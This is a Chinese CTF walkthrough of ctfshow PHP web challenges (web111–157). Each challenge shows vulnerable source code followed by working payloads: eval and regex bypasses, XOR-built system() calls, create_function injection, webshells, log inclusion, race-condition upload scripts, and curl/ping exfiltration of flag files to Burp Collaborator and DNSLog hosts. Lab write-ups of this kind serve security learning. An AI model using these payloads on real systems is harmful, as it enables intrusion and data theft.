?v1=FilesystemIterator&v2=getcwd

再去访问fl36dga.txt

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

}

?>

还是变量覆盖,利用全局变量来进行赋值给ctfshow这个变量 payload:

1
?v1=ctfshow&v2=GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

避开那些匹配的字符就好了

1
2
3
4
php://filter/resource=flag.php
php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
php://filter/read=convert.quoted-printable-encode/resource=flag.php
compress.zlib://flag.php

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
1
compress.zlib://flag.php

还可以利用函数所能处理的长度限制进行目录溢出,让is_file文件认为flag.php不是文件

1
2
3
4
5
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

又不禁filter了

1
?file=php://filter/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

trim() 函数移除字符串两侧的空白字符或其他预定义字符

数字的前面加上%09 %0a %0b %0c %0d任意一个都能绕过is_numeric,但trim() 会去除空格符,制表符,换行符,回车符,空字节符,垂直制表符,所以就剩%0c了

1
?num=%0c36

csdn找的fuzz脚本:

1
2
3
4
5
6
7
8
<?php
for($i = 0; $i<129; $i++){
$num=chr($i).'36';
if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
echo urlencode(chr($i))."\n";
}
}
?>

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>

新知识:

1
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

直接用eval去输出flag就可以了

1
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
1
GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

用highlight_file($_GET[1])去绕过对flag过滤的限制

另一种方法:

1
CTF_SHOW=&CTF[SHOW.COM=&fun=extract($__POST)&fl0g=flag_give_me

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

官方解释:

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等信息的 array。这个数组中的条目由 Web 服务器创建,所以不能保证每个 Web 服务器都提供全部条目;服务器可能会忽略一些,或者提供此处没有列举出来的其它内容。然而,大部分变量在 » CGI 1.1 规范中都有说明,并且很可能会定义。

argv‘传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv 变量传递给程序 C 语言样式的命令行参数。当通过 GET 方式调用时,该变量包含query string。

img

这里a是传入argv的一个参数,被当做一个数组传入进去,数组他是以空格进行分割的,比如ls /-a,(斜杠前面有个空格),ls就是argv[0],/-a就是argv[2],这一题就是利用这一个性质,parse_str输出的是argv的第2个数组恰好就是加号(+会被解析成空格嘛)后面的就只要了fl0g=flag_give_me

所以构造:(这里得parse_str换成eval也可以)

1
2
GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

assert用法和 eval()一样

1
2
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

‘QUERY_STRING’ query string(查询字符串),如果有的话,通过它进行页面访问。

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

该函数返回成功设置的变量数目。

所以执行ctf_show=ilove36d就行了,但是_被过滤了,所以可以用空格代替,或者url编码一次

1
2
?ctf show=ilove36d
?ctf%5fshow=ilove36d

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}



function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
} NULL

_()是一个函数。

_()==gettext() 是gettext()的拓展函数,开启text扩展,需要php扩展目录下有php_gettext.dll。get_defined_vars:返回由所有已定义变量所组成的数组。这样就可以获得 $flag

call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

当正常的gettext(“get_defined_vars”);时会返还get_defined_vars,为了绕过正则,_()函数和gettext()的效果一样, 所以可以用 _()函数代替gettext()函数。

call_user_func会利用_()将get_defined_vars返还出来然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。

1
?f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
7
8
9
10
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。

  • strrpos()找字符串在另一字符串中最后一次出现的位置(区分大小写)
  • stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
  • strripos()查找字符串在另一字符串中最后一次出现的位置(不区分大小写)

可以利用php伪协议可以套一层协议,无效的话会被忽略。

1
?f=php://filter/ctfshow/resource=flag.php

也可以用目录穿越

1
2
?f=./ctfshow/../flag.php
?f=/ctfshow/../../../../var/www/html/flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}
  1. 任意字符(.):表示可以匹配除换行符之外的任意字符。
  2. 重复一次或多次(+):表示前面的字符(.)至少出现一次或更多次。
  3. 非贪婪模式(?):表示尽可能少地匹配字符,以防止匹配过多的内容。

匹配了以ctfshow结尾的字符,同时还需要在ctfshow有任意字符,所以可以直接绕过

1
f=ctfshow

还可以利用回溯限制来绕过:PHP利用PCRE回溯次数限制绕过某些安全限制

1
2
3
4
5
6
7
8
9
import requests

url='http://c46a6ba8-bd2e-426b-a18a-b8e4ba72ff95.challenge.ctf.show/'
data={
'f':'a'*1000000+'ctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}
1
2
3
4
5
6
7
8
import requests

url='http://c46a6ba8-bd2e-426b-a18a-b8e4ba72ff95.challenge.ctf.show/'
data={
'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url=url,data=data).text
print(r)

web132

扫描发现/admin路径,发现源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

之前提到过运算符优先级:&& > || > = > and > or

所以只需要满足$username ===”admin”就能通过 if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”)了

1
?code=admin&password=&username=admin

web133

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}

限制了只能6个字符,``是shell_exec()函数的缩写。考虑变量覆盖

1
2
3
4
?F=`$F` ;ls;
取前6个字母正好是`$F` ;因此相当于执行:
eval(`$F` ;);
``$F` ;ls;`

因此后面的命令可以随意构造。不过反引号``是没有回显的,需要弹shell或者用curl。

curl -F 将flag文件上传到Burp的 Collaborator Client https://blog.csdn.net/qq_46091464/article/details/109095382

1
2
3
4
5
# payload 
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件
#http://pf8rq4eq3w27y0p7yeabxhel7cdb10.burpcollaborator.net就是在Collaborator Client获得的域名地址
?F=`$F`;+curl -X POST -F xx=@flag.php http://pf8rq4eq3w27y0p7yeabxhel7cdb10.burpcollaborator.net

img

还有另一种方法可以利用curl去带出来flag.php,在DNSLog Platform这个网站先创建一个域名

1
?F=`$F`;空格curl`cat flag.php|grep "flag"`.当时创建的域名 

然后刷新一下就可以了

web134

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

变量覆盖,利用parse_str把$_POST给覆盖掉

1
?_POST[key1]=36d&_POST[key2]=36d

web135

web133plus

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}

这次过滤了curl、grep等,

可以用

1
?F=`$F `;cp flag.php 1.txt

也可以改用ping,在DNSLog Platform这个网站先创建一个域名,然后awk NR一排一排的获得数据(一会儿可以一会儿不行,欸)

1
?F=`$F`;+ping `nl flag.php|awk '/flag/'|tr -cd "[a-z]"/"[0-9]"/"{"/"}"/"-"`.bum9fh.dnslog.cn -c 1

后来发现flag不对,删掉中间的16flag2就可以了。换这个

1
?F=`$F`;+ping `nl flag.php|awk 'NR==16'|tr -cd "[a-z]"/"[0-9]"/"{"/"-"/"}"`.jrxvto.dnslog.cn -c 1

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

exec函数可以用来执行外部命令

tee函数在两个管道文件描述符之间复制数据,也是零拷贝操作

1
2
ls /|tee 1 
cat /f149_15_h3r3|tee 2

依此访问文件1和2

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}



call_user_func($_POST['ctfshow'])
1
ctfshow=ctfshow::getFlag

双冒号::是用于访问类的静态成员(属性和方法)的操作符。它被称为”范围解析操作符”

web138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}

if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}

call_user_func($_POST['ctfshow']);

call_user_func中数组也能调用类

1
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

看起来跟web136没变化,但是不能写入文件了,也就是之前的方法不能用了

只能用盲注了:

ls / -1,结果自动换行*

ls / -1 | awk “NR==1”,取第一行

ls / -1 | awk “NR==1” | cut -c 1,取第一行第一个字符

命令,返回命令的结果

if [ ls / -1 | awk "NR==1" | cut -c 1 == “b” ];then sleep 5;fi,如果ls第一个字符为b则延迟5秒(一些位置空格必须有)

抄一下大佬的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c='
payload = '''if [ `ls / -1 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''

max_NR = 5 # 假设最多4行
max_c = 13 # 假设一行最多12个字符(f149_15_h3r3)
chars = 'abcdefghijklmnopqrstuvwxyz0123456789_-.' # 可能出现的字符

for NR in range(1, max_NR): # 从第一行开始
for c in range(1, max_c): # 从第一个字符开始
for char in chars:
try:
requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码
except:
print(char, end = '') # 出现延迟输出字符
break
print()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests

url = 'http://8f3e495d-2606-497c-8cc8-e553540b977e.challenge.ctf.show/?c='
payload = '''if [ `cat /f149_15_h3r3 | awk "NR=={}" | cut -c {}` == "{}" ];then sleep 5;fi'''

max_NR = 2 # 假设最多1行
max_c = 50 # 假设一行最多49个字符
chars = 'ctfshow{0123456789abcdefg-}' # 可能出现的字符

for NR in range(1, max_NR): # 从第一行开始
for c in range(1, max_c): # 从第一个字符开始
for char in chars:
try:
requests.get(url+payload.format(NR, c, char), timeout = 3) # 自动URL编码
except:
print(char, end = '') # 出现延迟输出字符
break
print()

web140

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}

令intval($code)等于0或false或NULL的就可以了

1
2
3
4
5
6
md5(phpinfo())
md5(sleep())
md5(md5())
current(localeconv)
sha1(getcwd())
usleep(usleep)
1
f1=md5&f2=phpinfo

web141

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

数字和运算符是可以一起执行命令的,如1+phpinfo()+1;是可以显示phpinfo页面的

匹配非数字字母下划线的字符无字母数字绕过正则表达式总结

异或:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w"); // 新建一个文本文件,将可用字符放在里面
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i); // dechex()将十进制转为十六进制
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ //hex2bin()将十六进制转为ascii
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b)); # 将符合条件的字符url解码并异或
if (ord($c)>=32&ord($c)<=126) { # 对于所有字符,筛选出符合条件的
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
# -*- coding: utf-8 -*-

# author yu22x

import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5] # 取可用字符的第二部分
s2+=t[6:9] # 取可用字符的第三部分
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")" # 将第二部分与第三部分异或,得到想要的字符
return(output)

while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
1
?v1=1&v3=-("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%01%03%00%06%00"^"%7c%60%60%20%60%2a");&v2=1

命令前加一些 + - * / 之类的,让它顺利执行

web142

1
2
3
4
5
6
7
8
9
10
11
12
<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}

直接传0就行了

1
?v1=0

web143

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

过滤了;可以用?>代替;,换一下之前php代码的匹配字符/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i再运行一遍就可以了

1
?v1=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")?>&v2=1

web144

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];

if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

function check($str){
return strlen($str)===1?true:false;
}

限制了v3的长度为1

1
?v1=1&v2=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")?>&v3=1

web145

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}

过滤了^,但没过滤|可以通过或运算,过滤了""换成''

1
?v1=1&v2=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%14%01%03%00%06%02'|'%60%60%60%20%60%28')|

看别人是格式需要1|()|2或者1?()2

web146

1
?v1=1&v2=1&v3=|('%13%19%13%14%05%0d'|'%60%60%60%60%60%60')('%14%01%03%00%06%02'|'%60%60%60%20%60%28')|
1
?v1=1&v2=1&v3=|(~%8c%86%8c%8b%9a%92)(~%9c%9e%8b%df%99%d5)|

web147

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);

if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}

}

php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。\是全局命名空间

可以利用create_function()进行代码注入

1
2
GET ?show=2;}system("nl flag.php");/*
POST ctf=\create_function

web148

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code=$_GET['code'];
if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
die("error");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
echo file_get_contents("flag.php");
}

跟之前一样异或就好了

1
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b");

还有一种是中文变量,学到了

1
2
3
4
5
$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
其中"`{{{" ^ "?<>/"异或得到_GET
$哈=_GET;
$_GET[哼]($_GET[嗯]);
?哼=system&嗯=tac f*

web149

你写的快还是我删的快?

条件竞争,用别人写好的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding: utf-8 -*-
# @Time : 20.12.5 11:41
# @author:lonmar
import io
import requests
import threading

url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'


def write():
while event.isSet():
data = {
'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>'
}
requests.post(url=url+'?ctf=1.php', data=data)


def read():
while event.isSet():
response = requests.get(url + '1.php')
if response.status_code != 404:
print(response.text)
event.clear()


if __name__ == "__main__":
event = threading.Event()
event.set()
for i in range(1, 100):
threading.Thread(target=write).start()

for i in range(1, 100):
threading.Thread(target=read).start()

web150

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;

function __construct(){
$this->vip = 0;
$this->secret = $flag;
}

function __destruct(){
echo $this->secret;
}

public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}

function __autoload($class){
if(isset($class)){
$class();
}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}

get传入?isVIP=1就绕过if($isVIP && strrpos($ctf, “:”)===FALSE)

可以日志文件包含,在User-Agent写入<?php eval($_POST[1]);?>

1
2
get:?isVIP=1
post:ctf=/var/log/nginx/access.log&1=system("tac f*");

还有一位大佬有一种神奇的思路,用上传文件的形式做

web150plus

过滤了log

1
2
3
4
5
6
__autoload()函数不是类里面的
__autoload — 尝试加载未定义的类
最后构造?..CTFSHOW..=phpinfo就可以看到phpinfo信息啦
原因是..CTFSHOW..解析变量成__CTFSHOW__然后进行了变量覆盖,因为CTFSHOW是类就会使用
__autoload()函数方法,去加载,因为等于phpinfo就会去加载phpinfo
接下来就去getshell啦

文件上传

web151

前端校验,直接在前端上传一句话木马png,抓包改成php,蚁剑连接找flag

web152

操作和web151一样就可以了

web153

访问/upload发现有回显,而不是404,所以应该是有一个index.php

那么可以通过先上传应该一句话木马的png,再通过上传.user.ini来使一句话木马在index被包含,从而访问/upload来执行命令

web154

过滤了php这个字符,可以用短标签来代替,或者用大小写绕过

1
<?= eval($_POST[a]);?>

web155

和web154一样就可以

web156

过滤了 [ ,可以用 { 代替

1
<?= eval($_POST{a});?>

web157

多过滤了 ;{,因为php 的最后一个分号可以省略,所以分号去掉也能执行

1
